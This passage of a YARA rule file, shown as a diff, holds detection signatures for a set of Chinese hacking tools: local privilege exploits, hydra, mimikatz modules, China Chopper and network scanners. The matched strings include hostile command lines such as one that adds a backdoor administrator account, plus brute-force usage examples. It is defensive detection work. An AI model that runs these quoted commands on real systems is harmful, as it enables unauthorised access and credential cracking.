+		description = "Chinese Hacktool Set - file Radmin_Hash.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "be407bd5bf5bcd51d38d1308e17a1731cd52f66b"
+	strings:
+		$s1 = "<description>IEBars</description>" fullword ascii
+		$s2 = "PECompact2" fullword ascii
+		$s3 = "Radmin, Remote Administrator" fullword wide
+		$s4 = "Radmin 3.0 Hash " fullword wide
+		$s5 = "HASH1.0" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule OSEditor {
+	meta:
+		description = "Chinese Hacktool Set - file OSEditor.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6773c3c6575cf9cfedbb772f3476bb999d09403d"
+	strings:
+		$s1 = "OSEditor.exe" fullword wide
+		$s2 = "netsafe" wide
+		$s3 = "OSC Editor" fullword wide
+		$s4 = "GIF89" ascii
+		$s5 = "Unlock" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule GoodToolset_ms11011 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11011.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
+	strings:
+		$s0 = "\\i386\\Hello.pdb" ascii
+		$s1 = "OS not supported." fullword ascii
+		$s3 = "Not supported." fullword wide  /* Goodware String - occured 3 times */
+		$s4 = "SystemDefaultEUDCFont" fullword wide  /* Goodware String - occured 18 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule FreeVersion_release {
+	meta:
+		description = "Chinese Hacktool Set - file release.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f42e4b5748e92f7a450eb49fc89d6859f4afcebb"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "This exploit will execute \"net user " ascii
+		$s3 = "net user temp 123456 /add & net localgroup administrators temp /add" fullword ascii
+		$s4 = "Running reverse shell" ascii
+		$s5 = "wmiprvse.exe" fullword ascii
+		$s6 = "SELECT * FROM IIsWebInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule churrasco {
+	meta:
+		description = "Chinese Hacktool Set - file churrasco.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a8d4c177948a8e60d63de9d0ed948c50d0151364"
+	strings:
+		$s1 = "Done, command should have ran as SYSTEM!" ascii
+		$s2 = "Running command with SYSTEM Token..." ascii
+		$s3 = "Thread impersonating, got NETWORK SERVICE Token: 0x%x" ascii
+		$s4 = "Found SYSTEM token 0x%x" ascii
+		$s5 = "Thread not impersonating, looking for another thread..." ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+rule x64_KiwiCmd {
+	meta:
+		description = "Chinese Hacktool Set - file KiwiCmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+	strings:
+		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
+		$s2 = "Kiwi Cmd no-gpo" fullword wide
+		$s3 = "KiwiAndCMD" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 2 of them
+}
+
+rule sql1433_SQL {
+	meta:
+		description = "Chinese Hacktool Set - file SQL.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "025e87deadd1c50b1021c26cb67b76b476fafd64"
+	strings:
+		/* WIDE: ProductName 1433 */
+		$s0 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 31 00 34 00 33 00 33 }
+		/* WIDE: ProductVersion 1,4,3,3 */
+		$s1 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 31 00 2C 00 34 00 2C 00 33 00 2C 00 33 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 90KB and all of them
+}
+
+rule CookieTools2 {
+	meta:
+		description = "Chinese Hacktool Set - file CookieTools2.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "cb67797f229fdb92360319e01277e1345305eb82"
+	strings:
+		$s1 = "www.gxgl.com&www.gxgl.net" fullword wide
+		$s2 = "ip.asp?IP=" fullword ascii
+		$s3 = "MSIE 5.5;" fullword ascii
+		$s4 = "SOFTWARE\\Borland\\" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule cyclotron {
+	meta:
+		description = "Chinese Hacktool Set - file cyclotron.sys"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5b63473b6dc1e5942bf07c52c31ba28f2702b246"
+	strings:
+		$s1 = "\\Device\\IDTProt" fullword wide
+		$s2 = "IoDeleteSymbolicLink" fullword ascii  /* Goodware String - occured 467 times */
+		$s3 = "\\??\\slIDTProt" fullword wide
+		$s4 = "IoDeleteDevice" fullword ascii  /* Goodware String - occured 993 times */
+		$s5 = "IoCreateSymbolicLink" fullword ascii /* Goodware String - occured 467 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3KB and all of them
+}
+
+rule xscan_gui {
+	meta:
+		description = "Chinese Hacktool Set - file xscan_gui.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a9e900510396192eb2ba4fb7b0ef786513f9b5ab"
+	strings:
+		$s1 = "%s -mutex %s -host %s -index %d -config \"%s\"" fullword ascii
+		$s2 = "www.target.com" fullword ascii
+		$s3 = "%s\\scripts\\desc\\%s.desc" fullword ascii
+		$s4 = "%c Active/Maximum host thread: %d/%d, Current/Maximum thread: %d/%d, Time(s): %l" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Tools_hscan {
+	meta:
+		description = "Chinese Hacktool Set - file hscan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
+	strings:
+		$s1 = "%s -f hosts.txt -port -ipc -pop -max 300,20 -time 10000" fullword ascii
+		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,20" fullword ascii
+		$s3 = "%s -h www.target.com -all" fullword ascii
+		$s4 = ".\\report\\%s-%s.html" fullword ascii
+		$s5 = ".\\log\\Hscan.log" fullword ascii
+		$s6 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
+		$s7 = "%s@ftpscan#FTP Account:  %s/[null]" fullword ascii
+		$s8 = ".\\conf\\mysql_pass.dic" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule GoodToolset_pr {
+	meta:
+		description = "Chinese Hacktool Set - file pr.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f6676daf3292cff59ef15ed109c2d408369e8ac8"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "-->This exploit gives you a Local System shell " ascii
+		$s3 = "wmiprvse.exe" fullword ascii
+		$s4 = "Try the first %d time" fullword ascii
+		$s5 = "-->Build&&Change By p " ascii
+		$s6 = "root\\MicrosoftIISv2" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule hydra_7_4_1_hydra {
+	meta:
+		description = "Chinese Hacktool Set - file hydra.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3411d0380a1c1ebf58a454765f94d4f1dd714b5b"
+	strings:
+		$s1 = "%d of %d target%s%scompleted, %lu valid password%s found" fullword ascii
+		$s2 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
+		$s3 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
+		$s4 = "[%d][smb] Host: %s Account: %s Error: PASSWORD EXPIRED" fullword ascii
+		$s5 = "[ERROR] SMTP LOGIN AUTH, either this auth is disabled" fullword ascii
+		$s6 = "\"/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule CN_Tools_srss_2 {
+	meta:
+		description = "Chinese Hacktool Set - file srss.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c418b30d004051bbf1b2d3be426936b95b5fea6f"
+	strings:
+		$x1 = "used pepack!" fullword ascii
+
+		$s1 = "KERNEL32.dll" fullword ascii
+		$s2 = "KERNEL32.DLL" fullword ascii
+		$s3 = "LoadLibraryA" fullword ascii
+		$s4 = "GetProcAddress" fullword ascii
+		$s5 = "VirtualProtect" fullword ascii
+		$s6 = "VirtualAlloc" fullword ascii
+		$s7 = "VirtualFree" fullword ascii
+		$s8 = "ExitProcess" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and ( $x1 at 0 ) and filesize < 14KB and all of ($s*)
+}
+
+rule Dos_NtGod {
+	meta:
+		description = "Chinese Hacktool Set - file NtGod.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "adefd901d6bbd8437116f0170b9c28a76d4a87bf"
+	strings:
+		$s0 = "\\temp\\NtGodMode.exe" ascii
+		$s4 = "NtGodMode.exe" fullword ascii
+		$s10 = "ntgod.bat" fullword ascii
+		$s19 = "sfxcmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule CN_Tools_VNCLink {
+	meta:
+		description = "Chinese Hacktool Set - file VNCLink.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "cafb531822cbc0cfebbea864489eebba48081aa1"
+	strings:
+		$s1 = "C:\\temp\\vncviewer4.log" fullword ascii
+		$s2 = "[BL4CK] Patched by redsand || http://blacksecurity.org" fullword ascii
+		$s3 = "fake release extendedVkey 0x%x, keysym 0x%x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 580KB and 2 of them
+}
+
+rule tools_NTCmd {
+	meta:
+		description = "Chinese Hacktool Set - file NTCmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a3ae8659b9a673aa346a60844208b371f7c05e3c"
+	strings:
+		$s1 = "pipecmd \\\\%s -U:%s -P:\"\" %s" fullword ascii
+		$s2 = "[Usage]:  %s <HostName|IP> <Username> <Password>" fullword ascii
+		$s3 = "pipecmd \\\\%s -U:%s -P:%s %s" fullword ascii
+		$s4 = "============By uhhuhy (Feb 18,2003) - http://www.cnhonker.net============" fullword ascii /* PEStudio Blacklist: os */
+		$s5 = "=======================NTcmd v0.11 for HScan v1.20=======================" fullword ascii
+		$s6 = "NTcmd>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 80KB and 2 of them
+}
+
+rule mysql_pwd_crack {
+	meta:
+		description = "Chinese Hacktool Set - file mysql_pwd_crack.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "57d1cb4d404688804a8c3755b464a6e6248d1c73"
+	strings:
+		$s1 = "mysql_pwd_crack 127.0.0.1 -x 3306 -p root -d userdict.txt" fullword ascii
+		$s2 = "Successfully --> username %s password %s " fullword ascii
+		$s3 = "zhouzhen@gmail.com http://zhouzhen.eviloctal.org" fullword ascii
+		$s4 = "-a automode  automatic crack the mysql password " fullword ascii
+		$s5 = "mysql_pwd_crack 127.0.0.1 -x 3306 -a" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 1 of them
+}
+
+rule CmdShell64 {
+	meta:
+		description = "Chinese Hacktool Set - file CmdShell64.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5b92510475d95ae5e7cd6ec4c89852e8af34acf1"
+	strings:
+		$s1 = "C:\\Windows\\System32\\JAVASYS.EXE" fullword wide
+		$s2 = "ServiceCmdShell" fullword ascii
+		$s3 = "<!-- If your application is designed to work with Windows 8.1, uncomment the fol" ascii
+		$s4 = "ServiceSystemShell" fullword wide
+		$s5 = "[Root@CmdShell ~]#" fullword wide
+		$s6 = "Hello Man 2015 !" fullword wide
+		$s7 = "CmdShell" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 4 of them
+}
+
+rule Ms_Viru_v {
+	meta:
+		description = "Chinese Hacktool Set - file v.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ecf4ba6d1344f2f3114d52859addee8b0770ed0d"
+	strings:
+		$s1 = "c:\\windows\\system32\\command.com /c " fullword ascii
+		$s2 = "Easy Usage Version -- Edited By: racle@tian6.com" fullword ascii
+		$s3 = "OH,Sry.Too long command." fullword ascii
+		$s4 = "Success! Commander." fullword ascii
+		$s5 = "Hey,how can racle work without ur command ?" fullword ascii
+		$s6 = "The exploit thread was unable to map the virtual 8086 address space" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule CN_Tools_Vscan {
+	meta:
+		description = "Chinese Hacktool Set - file Vscan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0365fe05e2de0f327dfaa8cd0d988dbb7b379612"
+	strings:
+		$s1 = "[+] Usage: VNC_bypauth <target> <scantype> <option>" fullword ascii
+		$s2 = "========RealVNC <= 4.1.1 Bypass Authentication Scanner=======" fullword ascii
+		$s3 = "[+] Type VNC_bypauth <target>,<scantype> or <option> for more informations" fullword ascii
+		$s4 = "VNC_bypauth -i 192.168.0.1,192.168.0.2,192.168.0.3,..." fullword ascii
+		$s5 = "-vn:%-15s:%-7d  connection closed" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and 2 of them
+}
+
+rule Dos_iis {
+	meta:
+		description = "Chinese Hacktool Set - file iis.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "61ffd2cbec5462766c6f1c44bd44eeaed4f3d2c7"
+	strings:
+		$s1 = "comspec" fullword ascii
+		$s2 = "program terming" fullword ascii
+		$s3 = "WinSta0\\Defau" fullword ascii
+		$s4 = "* FROM IIsWebInfo" ascii
+		$s5 = "www.icehack." ascii
+		$s6 = "wmiprvse.exe" fullword ascii
+		$s7 = "Pid: %d" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule IISPutScannesr {
+	meta:
+		description = "Chinese Hacktool Set - file IISPutScannesr.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2dd8fee20df47fd4eed5a354817ce837752f6ae9"
+	strings:
+		$s1 = "yoda & M.o.D." ascii
+		$s2 = "-> come.to/f2f **************" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule Generate {
+	meta:
+		description = "Chinese Hacktool Set - file Generate.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
+	strings:
+		$s1 = "C:\\TEMP\\" fullword ascii
+		$s2 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
+		$s3 = "$530 Please login with USER and PASS." fullword ascii
+		$s4 = "_Shell.exe" fullword ascii
+		$s5 = "ftpcWaitingPassword" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 3 of them
+}
+
+rule Pc_rejoice {
+	meta:
+		description = "Chinese Hacktool Set - file rejoice.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
+	strings:
+		$s1 = "@members.3322.net/dyndns/update?system=dyndns&hostname=" fullword ascii
+		$s2 = "http://www.xxx.com/xxx.exe" fullword ascii
+		$s3 = "@ddns.oray.com/ph/update?hostname=" fullword ascii
+		$s4 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s5 = "ListViewProcessListColumnClick!" fullword ascii
+		$s6 = "http://iframe.ip138.com/ic.asp" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and 3 of them
+}
+
+rule ms11080_withcmd {
+	meta:
+		description = "Chinese Hacktool Set - file ms11080_withcmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
+	strings:
+		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
+		$s2 = "\\ms11080\\ms11080\\Debug\\ms11080.pdb" fullword ascii
+		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
+		$s4 = "[>] create porcess error" fullword ascii
+		$s5 = "[>] ms11-080 Exploit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 1 of them
+}
+
+rule OtherTools_xiaoa {
+	meta:
+		description = "Chinese Hacktool Set - file xiaoa.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6988acb738e78d582e3614f83993628cf92ae26d"
+	strings:
+		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
+		$s2 = "The shell \"cmd\" success!" fullword ascii
+		$s3 = "Not Windows NT family OS." fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "Unable to get kernel base address." fullword ascii
+		$s5 = "run \"%s\" failed,code: %d" fullword ascii
+		$s6 = "Windows Kernel Local Privilege Exploit " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule unknown2 {
+	meta:
+		description = "Chinese Hacktool Set - file unknown2.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "32508d75c3d95e045ddc82cb829281a288bd5aa3"
+	strings:
+		$s1 = "http://md5.com.cn/index.php/md5reverse/index/md/" fullword wide
+		$s2 = "http://www.md5decrypter.co.uk/feed/api.aspx?" fullword wide
+		$s3 = "http://www.md5.com.cn" fullword wide
+		$s4 = "1.5.exe" fullword wide
+		$s5 = "\\Set.ini" fullword wide
+		$s6 = "OpenFileDialog1" fullword wide
+		$s7 = " (*.txt)|*.txt" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 4 of them
+}
+
+rule mswin_auth {
+	meta:
+		description = "Chinese Hacktool Set - file mswin_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "512cbd02f6fe69482e005a067db4eb07ce62d5a0"
+	strings:
+		$s1 = "No such user or wrong password" fullword ascii
+		$s2 = "%s [-A|D UserGroup][-O DefaultDomain][-d]" fullword ascii
+		$s3 = "mswin_auth[%d]: " fullword ascii
+		$s4 = "Unknown option: -%c. Exiting" fullword ascii
+		$s5 = "-D can specify a Windows Local Group name not allowed to authenticate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule hydra_7_3_hydra {
+	meta:
+		description = "Chinese Hacktool Set - file hydra.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2f82b8bf1159e43427880d70bcd116dc9e8026ad"
+	strings:
+		$s1 = "[ATTEMPT-ERROR] target %s - login \"%s\" - pass \"%s\" - child %d - %lu of %lu" fullword ascii
+		$s2 = "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=))(COMMAND=reload)(PASSWORD=%s)(SERVICE" ascii
+		$s3 = "cn=^USER^,cn=users,dc=foo,dc=bar,dc=com for domain foo.bar.com" fullword ascii
+		$s4 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
+		$s5 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and 1 of them
+}
+
+rule OracleScan {
+	meta:
+		description = "Chinese Hacktool Set - file OracleScan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "10ff7faf72fe6da8f05526367b3522a2408999ec"
+	strings:
+		$s1 = "MYBLOG:HTTP://HI.BAIDU.COM/0X24Q" fullword ascii
+		$s2 = "\\Borland\\Delphi\\RTL" fullword ascii
+		$s3 = "USER_NAME" ascii
+		$s4 = "FROMWWHERE" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule SQLTools {
+	meta:
+		description = "Chinese Hacktool Set - file SQLTools.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "38a9caa2079afa2c8d7327e7762f7ed9a69056f7"
+	strings:
+		$s1 = "DBN_POST" fullword wide
+		$s2 = "LOADER ERROR" fullword ascii
+		$s3 = "www.1285.net" fullword wide
+		$s4 = "TUPFILEFORM" fullword wide
+		$s5 = "DBN_DELETE" fullword wide
+		$s6 = "DBINSERT" fullword wide
+		$s7 = "Copyright (C) Kibosoft Corp. 2001-2006" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2350KB and all of them
+}
+
+rule portscanner {
+	meta:
+		description = "Chinese Hacktool Set - file portscanner.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1de367d503fdaaeee30e8ad7c100dd1e320858a4"
+	strings:
+		$s0 = "PortListfNo" fullword ascii
+		$s1 = ".533.net" fullword ascii
+		$s2 = "CRTDLL.DLL" fullword ascii
+		$s3 = "exitfc" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule kappfree {
+	meta:
+		description = "Chinese Hacktool Set - file kappfree.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e57e79f190f8a24ca911e6c7e008743480c08553"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "kappfree.dll" fullword ascii
+		$s3 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule Smartniff {
+	meta:
+		description = "Chinese Hacktool Set - file Smartniff.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "67609f21d54a57955d8fe6d48bc471f328748d0a"
+	strings:
+		$s1 = "smsniff.exe" fullword wide
+		$s2 = "support@nirsoft.net0" fullword ascii
+		$s3 = "</requestedPrivileges></security></trustInfo></assembly>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule ChinaChopper_caidao {
+	meta:
+		description = "Chinese Hacktool Set - file caidao.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "056a60ec1f6a8959bfc43254d97527b003ae5edb"
+	strings:
+		$s1 = "Pass,Config,n{)" fullword ascii
+		$s2 = "phMYSQLZ" fullword ascii
+		$s3 = "\\DHLP\\." fullword ascii
+		$s4 = "\\dhlp\\." fullword ascii
+		$s5 = "SHAutoComple" fullword ascii
+		$s6 = "MainFrame" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1077KB and all of them
+}
+
+rule KiwiTaskmgr_2 {
+	meta:
+		description = "Chinese Hacktool Set - file KiwiTaskmgr.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+	strings:
+		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
+		$s2 = "Kiwi Taskmgr no-gpo" fullword wide
+		$s3 = "KiwiAndTaskMgr" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule kappfree_2 {
+	meta:
+		description = "Chinese Hacktool Set - file kappfree.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+	strings:
+		$s1 = "kappfree.dll" fullword ascii
+		$s2 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
+		$s3 = "' introuvable !" fullword wide
+		$s4 = "kiwi\\mimikatz" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule x_way2_5_sqlcmd {
+	meta:
+		description = "Chinese Hacktool Set - file sqlcmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5152a57e3638418b0d97a42db1c0fc2f893a2794"
+	strings:
+		$s1 = "LOADER ERROR" fullword ascii
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s3 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+		$s4 = "kernel32.dll" fullword ascii
+		$s5 = "VirtualAlloc" fullword ascii
+		$s6 = "VirtualFree" fullword ascii
+		$s7 = "VirtualProtect" fullword ascii
+		$s8 = "ExitProcess" fullword ascii
+		$s9 = "user32.dll" fullword ascii
+		$s16 = "MessageBoxA" fullword ascii
+		$s10 = "wsprintfA" fullword ascii
+		$s11 = "kernel32.dll" fullword ascii
+		$s12 = "GetProcAddress" fullword ascii
+		$s13 = "GetModuleHandleA" fullword ascii
+		$s14 = "LoadLibraryA" fullword ascii
+		$s15 = "odbc32.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 23KB and filesize > 20KB and all of them
+}
+
+rule Win32_klock {
+	meta:
+		description = "Chinese Hacktool Set - file klock.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "7addce4434670927c4efaa560524680ba2871d17"
+	strings:
+		$s1 = "klock.dll" fullword ascii
+		$s2 = "Erreur : impossible de basculer le bureau ; SwitchDesktop : " fullword wide
+		$s3 = "klock de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule ipsearcher {
+	meta:
+		description = "Chinese Hacktool Set - file ipsearcher.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1e96e9c5c56fcbea94d26ce0b3f1548b224a4791"
+	strings:
+		$s0 = "http://www.wzpg.com" fullword ascii
+		$s1 = "ipsearcher\\ipsearcher\\Release\\ipsearcher.pdb" fullword ascii
+		$s3 = "_GetAddress" fullword ascii
+		$s5 = "ipsearcher.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule ms10048_x64 {
+	meta:
+		description = "Chinese Hacktool Set - file ms10048-x64.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
+	strings:
+		$s1 = "The target is most likely patched." fullword ascii
+		$s2 = "Dojibiron by Ronald Huizer, (c) master#h4cker.us  " fullword ascii
+		$s3 = "[ ] Creating evil window" fullword ascii
+		$s4 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and 1 of them
+}
+
+rule hscangui {
+	meta:
+		description = "Chinese Hacktool Set - file hscangui.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "af8aced0a78e1181f4c307c78402481a589f8d07"
+	strings:
+		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
+		$s2 = "http://www.cnhonker.com" fullword ascii
+		$s3 = "%s@ftpscan#Cracked account:  %s/%s" fullword ascii
+		$s4 = "[%s]: Found \"FTP account: %s/%s\" !!!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule GoodToolset_ms11080 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11080.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
+	strings:
+		$s1 = "[*] command add user 90sec 90sec" fullword ascii
+		$s2 = "\\ms11080\\Debug\\ms11080.pdb" fullword ascii
+		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
+		$s4 = "[*] Add to Administrators success" fullword ascii
+		$s5 = "[*] User has been successfully added" fullword ascii
+		$s6 = "[>] ms11-08 Exploit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule epathobj_exp64 {
+	meta:
+		description = "Chinese Hacktool Set - file epathobj_exp64.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
